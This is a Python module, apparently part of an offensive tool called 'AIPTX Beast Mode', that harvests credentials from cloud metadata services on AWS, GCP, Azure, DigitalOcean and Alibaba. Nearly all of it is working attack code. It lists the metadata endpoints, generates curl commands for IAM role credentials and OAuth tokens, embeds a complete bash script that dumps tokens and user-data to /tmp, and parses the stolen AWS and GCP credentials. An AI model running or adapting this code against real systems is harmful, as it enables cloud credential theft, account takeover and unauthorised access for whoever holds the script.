"""
AIPTX Beast Mode - Cloud Metadata Harvester
===========================================

Extract credentials from cloud metadata services.
"""

from __future__ import annotations

import logging
from dataclasses import dataclass, field
from enum import Enum
from typing import Any

logger = logging.getLogger(__name__)


class CloudProvider(str, Enum):
    """Cloud providers."""
    AWS = "aws"
    GCP = "gcp"
    AZURE = "azure"
    DIGITALOCEAN = "digitalocean"
    ALIBABA = "alibaba"


@dataclass
class CloudCredential:
    """Credential extracted from cloud metadata."""
    provider: CloudProvider
    credential_type: str
    access_key: str | None = None
    secret_key: str | None = None
    token: str | None = None
    role_name: str | None = None
    expiration: str | None = None
    region: str | None = None
    account_id: str | None = None
    raw_response: str | None = None
    metadata: dict[str, Any] = field(default_factory=dict)


# Cloud metadata endpoints
CLOUD_METADATA_ENDPOINTS = {
    CloudProvider.AWS: {
        "base_url": "http://169.254.169.254/latest/",
        "endpoints": {
            "instance_id": "meta-data/instance-id",
            "ami_id": "meta-data/ami-id",
            "hostname": "meta-data/hostname",
            "local_ipv4": "meta-data/local-ipv4",
            "public_ipv4": "meta-data/public-ipv4",
            "iam_role": "meta-data/iam/security-credentials/",
            "user_data": "user-data",
            "identity_doc": "dynamic/instance-identity/document",
        },
        "credential_path": "meta-data/iam/security-credentials/{role}",
        "header": {},
    },

    CloudProvider.GCP: {
        "base_url": "http://metadata.google.internal/computeMetadata/v1/",
        "endpoints": {
            "instance_id": "instance/id",
            "project_id": "project/project-id",
            "hostname": "instance/hostname",
            "zone": "instance/zone",
            "access_token": "instance/service-accounts/default/token",
            "email": "instance/service-accounts/default/email",
            "scopes": "instance/service-accounts/default/scopes",
        },
        "header": {"Metadata-Flavor": "Google"},
    },

    CloudProvider.AZURE: {
        "base_url": "http://169.254.169.254/metadata/",
        "endpoints": {
            "instance": "instance?api-version=2021-02-01",
            "identity_token": "identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/",
        },
        "header": {"Metadata": "true"},
    },

    CloudProvider.DIGITALOCEAN: {
        "base_url": "http://169.254.169.254/metadata/v1/",
        "endpoints": {
            "id": "id",
            "hostname": "hostname",
            "region": "region",
            "interfaces": "interfaces/",
            "floating_ip": "floating_ip/ipv4/",
        },
        "header": {},
    },

    CloudProvider.ALIBABA: {
        "base_url": "http://100.100.100.200/latest/",
        "endpoints": {
            "instance_id": "meta-data/instance-id",
            "region_id": "meta-data/region-id",
            "ram_role": "meta-data/ram/security-credentials/",
        },
        "header": {},
    },
}


class CloudMetadataHarvester:
    """
    Extract credentials from cloud metadata services.

    Supports AWS, GCP, Azure, DigitalOcean, and Alibaba Cloud.
    """

    def __init__(self):
        """Initialize the cloud metadata harvester."""
        self._metadata_cache: dict[CloudProvider, dict[str, Any]] = {}

    def get_probe_commands(self) -> list[dict[str, Any]]:
        """
        Get commands to probe all cloud metadata services.

        Returns:
            List of command dicts with name, command, provider
        """
        commands = []

        for provider, config in CLOUD_METADATA_ENDPOINTS.items():
            base_url = config["base_url"]
            headers = config.get("header", {})

            # Build curl command with headers
            header_args = " ".join(f'-H "{k}: {v}"' for k, v in headers.items())

            # Probe base endpoint
            commands.append({
                "name": f"probe_{provider.value}",
                "command": f"curl -s -m 2 {header_args} '{base_url}' 2>/dev/null",
                "provider": provider.value,
                "description": f"Probe {provider.value} metadata service",
            })

        return commands

    def get_credential_commands(
        self,
        provider: CloudProvider,
        role_name: str | None = None,
    ) -> list[dict[str, Any]]:
        """
        Get commands to extract credentials from a specific provider.

        Args:
            provider: Cloud provider
            role_name: IAM role name (for AWS)

        Returns:
            List of command dicts
        """
        if provider not in CLOUD_METADATA_ENDPOINTS:
            return []

        config = CLOUD_METADATA_ENDPOINTS[provider]
        base_url = config["base_url"]
        headers = config.get("header", {})
        header_args = " ".join(f'-H "{k}: {v}"' for k, v in headers.items())

        commands = []

        # Get all metadata endpoints
        for name, path in config["endpoints"].items():
            url = base_url + path
            commands.append({
                "name": f"{provider.value}_{name}",
                "command": f"curl -s -m 5 {header_args} '{url}' 2>/dev/null",
                "provider": provider.value,
                "endpoint": name,
            })

        # AWS-specific credential extraction
        if provider == CloudProvider.AWS:
            if role_name:
                cred_url = base_url + config["credential_path"].format(role=role_name)
                commands.append({
                    "name": "aws_credentials",
                    "command": f"curl -s -m 5 '{cred_url}' 2>/dev/null",
                    "provider": "aws",
                    "endpoint": "credentials",
                    "role": role_name,
                })
            else:
                # First get role name
                role_url = base_url + "meta-data/iam/security-credentials/"
                commands.append({
                    "name": "aws_list_roles",
                    "command": f"curl -s -m 5 '{role_url}' 2>/dev/null",
                    "provider": "aws",
                    "endpoint": "iam_roles",
                })

        return commands

    def get_full_harvest_script(self) -> str:
        """
        Get a complete bash script to harvest all cloud metadata.

        Returns:
            Bash script as string
        """
        script = """#!/bin/bash
# AIPTX Cloud Metadata Harvester
# Attempts to extract credentials from cloud metadata services

OUTPUT_DIR="/tmp/cloud_metadata_$$"
mkdir -p "$OUTPUT_DIR"

echo "[*] Probing cloud metadata services..."

# AWS
echo "[+] Checking AWS..."
AWS_BASE="http://169.254.169.254/latest"
if curl -s -m 2 "$AWS_BASE/meta-data/" > /dev/null 2>&1; then
    echo "[!] AWS metadata service detected!"
    curl -s "$AWS_BASE/meta-data/instance-id" > "$OUTPUT_DIR/aws_instance_id.txt"
    curl -s "$AWS_BASE/meta-data/iam/security-credentials/" > "$OUTPUT_DIR/aws_roles.txt"
    ROLE=$(cat "$OUTPUT_DIR/aws_roles.txt" | head -1)
    if [ -n "$ROLE" ]; then
        echo "[!] Found IAM role: $ROLE"
        curl -s "$AWS_BASE/meta-data/iam/security-credentials/$ROLE" > "$OUTPUT_DIR/aws_credentials.json"
    fi
    curl -s "$AWS_BASE/user-data" > "$OUTPUT_DIR/aws_user_data.txt"
fi

# GCP
echo "[+] Checking GCP..."
GCP_BASE="http://metadata.google.internal/computeMetadata/v1"
if curl -s -m 2 -H "Metadata-Flavor: Google" "$GCP_BASE/" > /dev/null 2>&1; then
    echo "[!] GCP metadata service detected!"
    curl -s -H "Metadata-Flavor: Google" "$GCP_BASE/instance/service-accounts/default/token" > "$OUTPUT_DIR/gcp_token.json"
    curl -s -H "Metadata-Flavor: Google" "$GCP_BASE/project/project-id" > "$OUTPUT_DIR/gcp_project.txt"
fi

# Azure
echo "[+] Checking Azure..."
AZURE_BASE="http://169.254.169.254/metadata"
if curl -s -m 2 -H "Metadata: true" "$AZURE_BASE/instance?api-version=2021-02-01" > /dev/null 2>&1; then
    echo "[!] Azure metadata service detected!"
    curl -s -H "Metadata: true" "$AZURE_BASE/instance?api-version=2021-02-01" > "$OUTPUT_DIR/azure_instance.json"
    curl -s -H "Metadata: true" "$AZURE_BASE/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" > "$OUTPUT_DIR/azure_token.json"
fi

# DigitalOcean
echo "[+] Checking DigitalOcean..."
DO_BASE="http://169.254.169.254/metadata/v1"
if curl -s -m 2 "$DO_BASE/id" > /dev/null 2>&1; then
    echo "[!] DigitalOcean metadata service detected!"
    curl -s "$DO_BASE/" > "$OUTPUT_DIR/do_metadata.txt"
fi

echo ""
echo "[*] Results saved to: $OUTPUT_DIR"
ls -la "$OUTPUT_DIR"
"""
        return script

    def parse_aws_credentials(self, response: str) -> CloudCredential | None:
        """Parse AWS IAM credentials from metadata response."""
        import json
        try:
            data = json.loads(response)
            return CloudCredential(
                provider=CloudProvider.AWS,
                credential_type="iam_role",
                access_key=data.get("AccessKeyId"),
                secret_key=data.get("SecretAccessKey"),
                token=data.get("Token"),
                expiration=data.get("Expiration"),
                raw_response=response,
                metadata={
                    "code": data.get("Code"),
                    "type": data.get("Type"),
                },
            )
        except Exception as e:
            logger.error(f"Failed to parse AWS credentials: {e}")
            return None

    def parse_gcp_token(self, response: str) -> CloudCredential | None:
        """Parse GCP access token from metadata response."""
        import json
        try:
            data = json.loads(response)
            return CloudCredential(
                provider=CloudProvider.GCP,
                credential_type="access_token",
                token=data.get("access_token"),
                expiration=str(data.get("expires_in")),
                raw_response=response,
                metadata={
                    "token_type": data.get("token_type"),
                },
            )
        except Exception as e:
            logger.error(f"Failed to parse GCP token: {e}")
            return None


def harvest_cloud_metadata() -> list[dict[str, Any]]:
    """Convenience function to get cloud metadata harvest commands."""
    harvester = CloudMetadataHarvester()
    return harvester.get_probe_commands()


__all__ = [
    "CloudProvider",
    "CloudCredential",
    "CloudMetadataHarvester",
    "harvest_cloud_metadata",
    "CLOUD_METADATA_ENDPOINTS",
]
